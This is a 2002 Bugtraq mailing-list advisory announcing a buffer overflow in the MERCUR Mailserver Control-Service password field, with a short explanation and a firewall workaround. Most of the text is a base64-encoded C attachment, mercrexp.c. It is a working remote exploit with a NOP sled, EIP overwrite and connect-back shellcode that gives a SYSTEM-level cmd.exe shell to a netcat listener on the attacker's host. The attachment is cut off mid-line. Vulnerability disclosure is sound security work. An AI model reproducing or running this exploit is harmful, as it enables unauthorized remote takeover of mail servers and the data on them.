MERCUR Mailserver advisory/remote exploit
Date: Wed, 17 Jul 2002 17:29:48 -0700 (PDT)
From: 2c79cbe14ac7d0b8472d3f129fa1df <c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com>
To: bugtraq@securityfocus.com
Subject: MERCUR Mailserver advisory/remote exploit
Cc: support@atrium-software.com
--0-1610208346-1026952188=:14415
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
2c79cbe14ac7d0b8472d3f129fa1df55 Security Adisory #3
#PRODUCT
Atrium Software International's
MERCUR Mailserver, All Versions
#DESCRIPTION
MERCUR Mailserver's Control-Service, installed and
activated by default on port 32000, is vulnerable to
the classic buffer overflow on it's password
argument.. an exploit for MERCUR 4.2 (current) is
included and it has been tested against both win2k and
winxp pro..
<260 bytes><EBP><EIP>
as you can see, I'm too lazy to write my own shellcode
to fit in that wee little 260 byte buffer.. and we
can't choose the right side as anything over a few
bytes will end up overwriting what will become the
contents of ECX prior to our target RET, causing an
early exception.. so a sexy little trick is in order..
we just abuse the fact that an invalid username, one
of a very large length, is copied and stays resident
in local memory when we overrun the password buffer..
sizing these two buffers correctly, and we can have
them overlap each other, allowing us to jump from the
password buffer to our payload (username buffer)
easily.. YIPPPEE!@!#
#FIX/PATCH/WORKAROUND
no patch this time, as a workaround is simple.. MERCUR
allows you to restrict access to each service
individually under the Security -> Firewall options..
32000 should be restricted on default, and I would
guess it soon may be..
sorry about the winamp patch, who the hell knew winrar
uses a proprietary zip format..
symantec's #1 fan,
2c79cbe14ac7d0b8472d3f129fa1df55
__________________________________________________
Do You Yahoo!?
Yahoo! Autos - Get free new car price quotes
http://autos.yahoo.com
--0-1610208346-1026952188=:14415
Content-Type: application/octet-stream; name="mercrexp.c"
Content-Transfer-Encoding: base64
Content-Description: mercrexp.c
Content-Disposition: attachment; filename="mercrexp.c"
LyoKCW1lcmNyZXhwLmMgKDcvMTYvMjAwMikKCgkjIC4vbWVyY3JleHAgMTky
LjE2OC4wLjIgMzIwMDAgMTkyLjE2OC4xLjIgMzMzMwoJIyBuYyAtbCAtcCAz
MzMzCglNaWNyb3NvZnQgV2luZG93cyAyMDAwIFtWZXJzaW9uIDUuMDAuMjE5
NV0KCShDKSBDb3B5cmlnaHQgMTk4NS0yMDAwIE1pY3Jvc29mdCBDb3JwLgoJ
CglFOlxXSU5OVFxzeXN0ZW0zMj4JCgoJMmM3OWNiZTE0YWM3ZDBiODQ3MmQz
ZjEyOWZhMWRmNTUgKGM3OWNiZTE0YWM3ZDBiODQ3MmQzZjEyOWZhMWRmNTVA
eWFob28uY29tKQkKKi8KCiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8
c3RyaW5nLmg+CiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4KI2luY2x1ZGUgPHN5
cy9zb2NrZXQuaD4KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4KI2luY2x1ZGUg
PGFycGEvaW5ldC5oPgojaW5jbHVkZSA8bmV0ZGIuaD4KI2luY2x1ZGUgPHN5
cy9lcnJuby5oPgoKLy8gQ0FMTCBFQlg7IG1jcmN0cmwuZXhlQDB4MjI4ZQoj
ZGVmaW5lIEVJUCAiXHg4ZVx4MmNceDQwXHgwMCIKCi8vIHBheWxvYWQuLiBk
dW1wZWQgaW50byByZW1vdGUgbWVtb3J5IGFzIGZhaWxlZCAndXNlcm5hbWUn
Ci8vIGRhcmsgc3B5cml0J3Mgc2hlbGwsIHJpcHBlZCBmcm9tIGppbGwuYwp1
bnNpZ25lZCBjaGFyIHNoZWxsW10gPQoJCSJceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCIKCQkiXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCIKCQki
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCIK
CQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJ
CSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
IgoJCSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwIgoJCSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwIgoJCSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwIgoJCSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJ
Ilx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwIgoJCSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCIKCQkiXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAi
CgkJIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwIgoJCSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCIKCQkiXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCIKCQkiXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCIKCQkiXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCIKCQki
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCIK
CQkiXHhlYlx4MDNceDVkXHhlYlx4MDVceGU4XHhmOFx4ZmZceGZmXHhmZlx4
ODNceGM1XHgxNVx4OTAiCgkJIlx4OTBceDkwXHg4Ylx4YzVceDMzXHhjOVx4
NjZceGI5XHhkN1x4MDJceDUwXHg4MFx4MzBceDk1IgoJCSJceDQwXHhlMlx4
ZmFceDJkXHg5NVx4OTVceDY0XHhlMlx4MTRceGFkXHhkOFx4Y2ZceDA1XHg5
NSIKCQkiXHhlMVx4OTZceGRkXHg3ZVx4NjBceDdkXHg5NVx4OTVceDk1XHg5
NVx4YzhceDFlXHg0MFx4MTQiCgkJIlx4N2ZceDlhXHg2Ylx4NmFceDZhXHgx
ZVx4NGRceDFlXHhlNlx4YTlceDk2XHg2Nlx4MWVceGUzIgoJCSJceGVkXHg5
Nlx4NjZceDFlXHhlYlx4YjVceDk2XHg2ZVx4MWVceGRiXHg4MVx4YTZceDc4
XHhjMyIKCQkiXHhjMlx4YzRceDFlXHhhYVx4OTZceDZlXHgxZVx4NjdceDJj
XHg5Ylx4OTVceDk1XHg5NVx4NjYiCgkJIlx4MzNceGUxXHg5ZFx4Y2NceGNh
XHgxNlx4NTJceDkxXHhkMFx4NzdceDcyXHhjY1x4Y2FceGNiIgoJCSJceDFl
XHg1OFx4MWVceGQzXHhiMVx4OTZceDU2XHg0NFx4NzRceDk2XHg1NFx4YTZc
eDVjXHhmMyIKCQkiXHgxZVx4OWRceDFlXHhkM1x4ODlceDk2XHg1Nlx4NTRc
eDc0XHg5N1x4OTZceDU0XHgxZVx4OTUiCgkJIlx4OTZceDU2XHgxZVx4Njdc
eDFlXHg2Ylx4MWVceDQ1XHgyY1x4OWVceDk1XHg5NVx4OTVceDdkIgoJCSJc
eGUxXHg5NFx4OTVceDk1XHhhNlx4NTVceDM5XHgxMFx4NTVceGUwXHg2Y1x4
YzdceGMzXHg2YSIKCQkiXHhjMlx4NDFceGNmXHgxZVx4NGRceDJjXHg5M1x4
OTVceDk1XHg5NVx4N2RceGNlXHg5NFx4OTUiCgkJIlx4OTVceDUyXHhkMlx4
ZjFceDk5XHg5NVx4OTVceDk1XHg1Mlx4ZDJceGZkXHg5NVx4OTVceDk1IgoJ
CSJceDk1XHg1Mlx4ZDJceGY5XHg5NFx4OTVceDk1XHg5NVx4ZmZceDk1XHgx
OFx4ZDJceGYxXHhjNSIKCQkiXHgxOFx4ZDJceDg1XHhjNVx4MThceGQyXHg4
MVx4YzVceDZhXHhjMlx4NTVceGZmXHg5NVx4MTgiCgkJIlx4ZDJceGYxXHhj
NVx4MThceGQyXHg4ZFx4YzVceDE4XHhkMlx4ODlceGM1XHg2YVx4YzJceDU1
IgoJCSJceDUyXHhkMlx4YjVceGQxXHg5NVx4OTVceDk1XHgxOFx4ZDJceGI1
XHhjNVx4NmFceGMyXHg1MSIKCQkiXHgxZVx4ZDJceDg1XHgxY1x4ZDJceGM5
XHgxY1x4ZDJceGY1XHgxZVx4ZDJceDg5XHgxY1x4ZDIiCgkJIlx4Y2RceDE0
XHhkYVx4ZDlceDk0XHg5NFx4OTVceDk1XHhmM1x4NTJceGQyXHhjNVx4OTVc
eDk1IgoJCSJceDE4XHhkMlx4ZTVceGM1XHgxOFx4ZDJceGI1XHhjNVx4YTZc
eDU1XHhjNVx4YzVceGM1XHhmZiIKCQkiXHg5NFx4YzVceGM1XHg3ZFx4OTVc
eDk1XHg5NVx4OTVceGM4XHgxNFx4NzhceGQ1XHg2Ylx4NmEiCgkJIlx4NmFc
eGMwXHhjNVx4NmFceGMyXHg1ZFx4NmFceGUyXHg4NVx4NmFceGMyXHg3MVx4
NmFceGUyIgoJCSJceDg5XHg2YVx4YzJceDcxXHhmZFx4OTVceDkxXHg5NVx4
OTVceGZmXHhkNVx4NmFceGMyXHg0NSIKCQkiXHgxZVx4N2RceGM1XHhmZFx4
OTRceDk0XHg5NVx4OTVceDZhXHhjMlx4N2RceDEwXHg1NVx4OWEiCgkJIlx4
MTBceDNmXHg5NVx4OTVceDk1XHhhNlx4NTVceGM1XHhkNVx4YzVceGQ1XHhj
NVx4NmFceGMyIgoJCSJceDc5XHgxNlx4NmRceDZhXHg5YVx4MTFceDAyXHg5
NVx4OTVceDk1XHgxZVx4NGRceGYzXHg1MiIKCQkiXHg5Mlx4OTdceDk1XHhm
M1x4NTJceGQyXHg5N1x4ODBceDI2XHg1Mlx4ZDJceDkxXHg1NVx4M2QiCgkJ
Ilx4OTVceDk0XHhmZlx4ODVceDE4XHg5Mlx4YzVceGM2XHg2YVx4YzJceDYx
XHhmZlx4YTdceDZhIgoJCSJceGMyXHg0OVx4YTZceDVjXHhjNFx4YzNceGM0
XHhjNFx4YzRceDZhXHhlMlx4ODFceDZhXHhjMiIKCQkiXHg1OVx4MTBceDU1
XHhlMVx4ZjVceDA1XHgwNVx4MDVceDA1XHgxNVx4YWJceDk1XHhlMVx4YmEi
CgkJIlx4MDVceDA1XHgwNVx4MDVceGZmXHg5NVx4YzNceGZkXHg5NVx4OTFc
eDk1XHg5NVx4YzBceDZhIgoJCSJceGUyXHg4MVx4NmFceGMyXHg0ZFx4MTBc
eDU1XHhlMVx4ZDVceDA1XHgwNVx4MDVceDA1XHhmZiIKCQkiXHg5NVx4NmFc
eGEzXHhjMFx4YzZceDZhXHhjMlx4NmRceDE2XHg2ZFx4NmFceGUxXHhiYlx4
MDUiCgkJIlx4MDVceDA1XHgwNVx4N2VceDI3XHhmZlx4OTVceGZkXHg5NVx4
OTFceDk1XHg5NVx4YzBceGM2IgoJCSJceDZhXHhjMlx4NjlceDEwXHg1NVx4
ZTlceDhkXHgwNVx4MDVceDA1XHgwNVx4ZTFceDA5XHhmZiIKCQkiXHg5NVx4
YzNceGM1XHhjMFx4NmFceGUyXHg4ZFx4NmFceGMyXHg0MVx4ZmZceGE3XHg2
YVx4YzIiCgkJIlx4NDlceDdlXHgxZlx4YzZceDZhXHhjMlx4NjVceGZmXHg5
NVx4NmFceGMyXHg3NVx4YTZceDU1IgoJCSJceDM5XHgxMFx4NTVceGUwXHg2
Y1x4YzRceGM3XHhjM1x4YzZceDZhXHg0N1x4Y2ZceGNjXHgzZSIKCQkiXHg3
N1x4N2JceDU2XHhkMlx4ZjBceGUxXHhjNVx4ZTdceGZhXHhmNlx4ZDRceGYx
XHhmMVx4ZTciCgkJIlx4ZjBceGU2XHhlNlx4OTVceGQ5XHhmYVx4ZjRceGYx
XHhkOVx4ZmNceGY3XHhlN1x4ZjRceGU3IgoJCSJceGVjXHhkNFx4OTVceGQ2
XHhlN1x4ZjBceGY0XHhlMVx4ZjBceGM1XHhmY1x4ZTVceGYwXHg5NSIKCQki
XHhkMlx4ZjBceGUxXHhjNlx4ZTFceGY0XHhlN1x4ZTFceGUwXHhlNVx4ZGNc
eGZiXHhmM1x4ZmEiCgkJIlx4ZDRceDk1XHhkNlx4ZTdceGYwXHhmNFx4ZTFc
eGYwXHhjNVx4ZTdceGZhXHhmNlx4ZjBceGU2IgoJCSJceGU2XHhkNFx4OTVc
eGM1XHhmMFx4ZjBceGZlXHhkYlx4ZjRceGY4XHhmMFx4ZjFceGM1XHhmYyIK
CQkiXHhlNVx4ZjBceDk1XHhkMlx4ZjlceGZhXHhmN1x4ZjRceGY5XHhkNFx4
ZjlceGY5XHhmYVx4ZjYiCgkJIlx4OTVceGMyXHhlN1x4ZmNceGUxXHhmMFx4
ZDNceGZjXHhmOVx4ZjBceDk1XHhjN1x4ZjBceGY0IgoJCSJceGYxXHhkM1x4
ZmNceGY5XHhmMFx4OTVceGM2XHhmOVx4ZjBceGYwXHhlNVx4OTVceGQwXHhl
ZCIKCQkiXHhmY1x4ZTFceGM1XHhlN1x4ZmFceGY2XHhmMFx4ZTZceGU2XHg5
NVx4ZDZceGY5XHhmYVx4ZTYiCgkJIlx4ZjBceGRkXHhmNFx4ZmJceGYxXHhm
OVx4ZjBceDk1XHhjMlx4YzZceGRhXHhkNlx4ZGVceGE2IgoJCSJceGE3XHg5
NVx4YzJceGM2XHhkNFx4YzZceGUxXHhmNFx4ZTdceGUxXHhlMFx4ZTVceDk1
XHhlNiIKCQkiXHhmYVx4ZjZceGZlXHhmMFx4ZTFceDk1XHhmNlx4ZjlceGZh
XHhlNlx4ZjBceGU2XHhmYVx4ZjYiCgkJIlx4ZmVceGYwXHhlMVx4OTVceGY2
XHhmYVx4ZmJceGZiXHhmMFx4ZjZceGUxXHg5NVx4ZTZceGYwIgoJCSJceGZi
XHhmMVx4OTVceGU3XHhmMFx4ZjZceGUzXHg5NVx4ZjZceGY4XHhmMVx4YmJc
eGYwXHhlZCIKCQkiXHhmMFx4OTVceDBhIjsKCi8vIGZha2UgdXNlcgp1bnNp
Z25lZCBjaGFyIHVzZXJbXSA9ICJceDc4XHg3OFx4NzhceDc4XHgwYSI7Cgov
LyBlYnAvZWlwIG92ZXJ3cml0ZQp1bnNpZ25lZCBjaGFyIHBhc3N3ZFtdID0K
CQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJCSJc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIgoJ
CSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MCIKCQkiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTAiCgkJIlx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
IgoJCSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MCIKCQkiXHg5MFx4OTBceDkwXHgwM1x4ZGVceDgz
XHhjM1x4MDJceGZmXHhkM1x4YzNceDEwIkVJUCIiCgkJIlx4MGEiOwoKbWFp
bihjaGFyIGFyZ2MsIGNoYXIgKiphcmd2KXsKICAgICAgICBpbnQgZmQ7CiAg
ICAgICAgaW50IGJ1ZnNpemUgPSAxMDI0OwogICAgICAgIGludCBidWZmZXIg
PSBtYWxsb2MoYnVmc2l6ZSk7CiAgICAgICAgdW5zaWduZWQgc2hvcnQgaW50
ICAgICAgYV9wb3J0OwogICAgICAgIHVuc2lnbmVkIGxvbmcgICAgICAgICAg
IGFfaG9zdDsKICAgICAgICBzdHJ1Y3Qgc29ja2FkZHJfaW4gc2luOwogICAg
ICAgIHN0cnVjdCBob3N0ZW50ICpoZTsKICAgICAgICBzdHJ1Y3QgaW5fYWRk
ciBpbjsKCglwcmludGYoIk1FUkNVUiBNYWlsc2VydmVyIDQuMi4wLjAgcmVt
b3RlICdTWVNURU0nIGxldmVsIGV4cGxvaXQgKDA3LzE2LzIwMDIpXG4iKTsK
ICAgICAgICBwcmludGYoIjJjNzljYmUxNGFjN2QwYjg0NzJkM2YxMjlmYTFk
ZjU1IChjNzljYmUxNGFjN2QwYjg0NzJkM2YxMjlmYTFkZjU1QHlhaG9vLmNv
bSlcblxuIik7CgogICAgICAgIGlmIChhcmdjIDwgNSl7CiAgICAgICAgICAg
ICAgICBwcmludGYoInVzYWdlOiAlcyA8dGFyZ2V0aG9zdD4gPGNvbnRyb2xw
b3J0PiA8bG9jYWxob3N0PiA8bG9jYWxwb3J0PlxuIiwgYXJndlswXSk7CiAg
ICAgICAgICAgICAgICBwcmludGYoIgljb250cm9scG9ydDogTUVSQ1VSIENv
bnRyb2wtU2VydmljZSBwb3J0IChkZWZhdWx0IDMyMDAwKVxuXG4iKTsKCQlw
cmludGYoIk5PVEU6IHRlc3RlZCBhZ2FpbnN0IHdpbjJrIGFuZCB3aW54cCBw
cm8uLlxuXG4iKTsKICAgICAgICAgICAgICAgIGV4aXQoLTEpOwogICAgICAg
IH0KCgkvLyByaWlpaWlpaXAKICAgICAgICBhX3BvcnQgID0gaHRvbnMoYXRv
aShhcmd2WzRdKSk7CiAgICAgICAgYV9wb3J0IF49IDB4OTU5NTsKICAgICAg
ICBpZiAoKGhlID0gZ2V0aG9zdGJ5bmFtZShhcmd2WzNdKSkgPT0gMCl7aGVy
cm9yKGFyZ3ZbM10pO2V4aXQoLTEpO30KICAgICAgICBhX2hvc3QgID0gKigo
dW5zaWduZWQgbG9uZyAqKWhlLT5oX2FkZHIpOwogICAgICAgIGFfaG9zdCBe
PSAweDk1OTU5NTk1OwogICAgICAgIHNoZWxsWzExMTNdID0gKChhX3BvcnQp
ICYgMHhmZik7CiAgICAgICAgc2hlbGxbMTExNF0gPSAoKGFfcG9ydCA+PiA4
KSAmIDB4ZmYpOyAgICAgICAgCiAgICAgICAgc2hlbGxbMTExOF0gPSAoKGFf
aG9zdCkgJiAweGZmKTsKICAgICAgICBzaGVsbFsxMTE5XSA9ICgoYV9ob3N0
ID4+IDgpICYgMHhmZik7CiAgICAgICAgc2hlbGxbMTEyMF0gPSAoKGFfaG9z
dCA+PiAxNikgJiAweGZmKTsKICAgICAgICBzaGVsbFsxMTIxXSA9ICgoYV9o
b3N0ID4+IDI0KSAmIDB4ZmYpOwoKICAgICAgICBpZigoZmQgPSBzb2NrZXQo
QUZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPCAwKXtwZXJy
b3IoInNvY2tldCBlcnJvciIpO2V4aXQoLTEpO30KCiAgICAgICAgaWYgKCho
ZSA9IGdldGhvc3RieW5hbWUoYXJndlsxXSkpICE9IE5VTEwpe21lbWNweSAo
JmluLCBoZS0+aF9hZGRyLCBoZS0+aF9sZW5ndGgpO30KICAgICAgICBlbHNl
CiAgICAgICAgaWYgKChpbmV0X2F0b24oYXJndlsxXSwgJmluKSkgPCAwKXtw
cmludGYoInVuYWJsZSB0byByZXNvbHZlIGhvc3QiKTtleGl0KC0xKTt9Cgog
ICAgICAgIHNpbi5zaW5fZmFtaWx5ID0gQUZfSU5FVDsKICAgICAgICBzaW4u
c2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGluZXRfbnRvYShpbikpOwog
ICAgICAgIHNpbi5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsyXSkpOwoK
CXByaW50ZigicmV0OiAweDAwNDAyYzhlIChtcmNjdHJsLmV4ZSB2LjQuMi4x
LjApXG5cbiIpOwogCiAgICAgICAgcHJpbnRmKCJjb25uZWN0aW5nIHRvIHRj
cCBwb3J0ICVzLi4uXG4iLCBhcmd2WzJdKTsKICAgICAgICBpZihjb25uZWN0
KGZkLCAoc3RydWN0IHNvY2thZGRyICopJnNpbiwgc2l6ZW9mKHNpbikpIDwg
MCl7cGVycm9yKCJjb25uZWN0aW9uIGVycm9yIik7ZXhpdCgtMSk7fQogCiAg
ICAgICAgcHJpbnRmKCJjb25uZWN0ZWQuXG5cbiIpOwogCXNsZWVwKDEpOwoJ
cHJpbnRmKCJkdW1waW5nIHBheWxvYWQuLi4iKTsKICAgICAgICBpZih3cml0
ZShmZCwgc2hlbGwsIHN0cmxlbihzaGVsbCkpIDwgc3RybGVuKHNoZWxsKSl7
cGVycm9yKCJ3cml0ZSBlcnJvciIpO2V4aXQoLTEpO30KCXByaW50ZigiZG9u
ZVxuIik7CiAgICAgICAgc2xlZXAoMSk7CiAgICAgICAgcHJpbnRmKCJzZW5k
aW5nIGZha2UgbG9naW4uLi4iKTsKICAgICAgICBpZih3cml0ZShmZCwgdXNl
ciwgc3RybGVuKHVzZXIpKSA8IHN0cmxlbih1c2VyKSl7cGVycm9yKCJ3cml0
ZSBlcnJvciIpO2V4aXQoLTEpO30KICAgICAgICBwcmludGYoImRvbmVcbiIp
OwoJc2xlZXAoMSk7CglwcmludGYoImVpcCBvdmVycnVuLi4uIik7CglpZih3
cml0ZShmZCwgcGFzc3dkLCBzdHJsZW4ocGFzc3dkKSkgPCBzdHJsZW4ocGFz
c3dkKSl7cGVycm9yKCJ3cml0ZSBlcnJvciIpO2V4aXQoLTEpO30KCXByaW50
ZigiZG9uZVxuXG4iKTsKCglwcmludGYoImNtZC5leGUgc3Bhd25lZCB0byBb
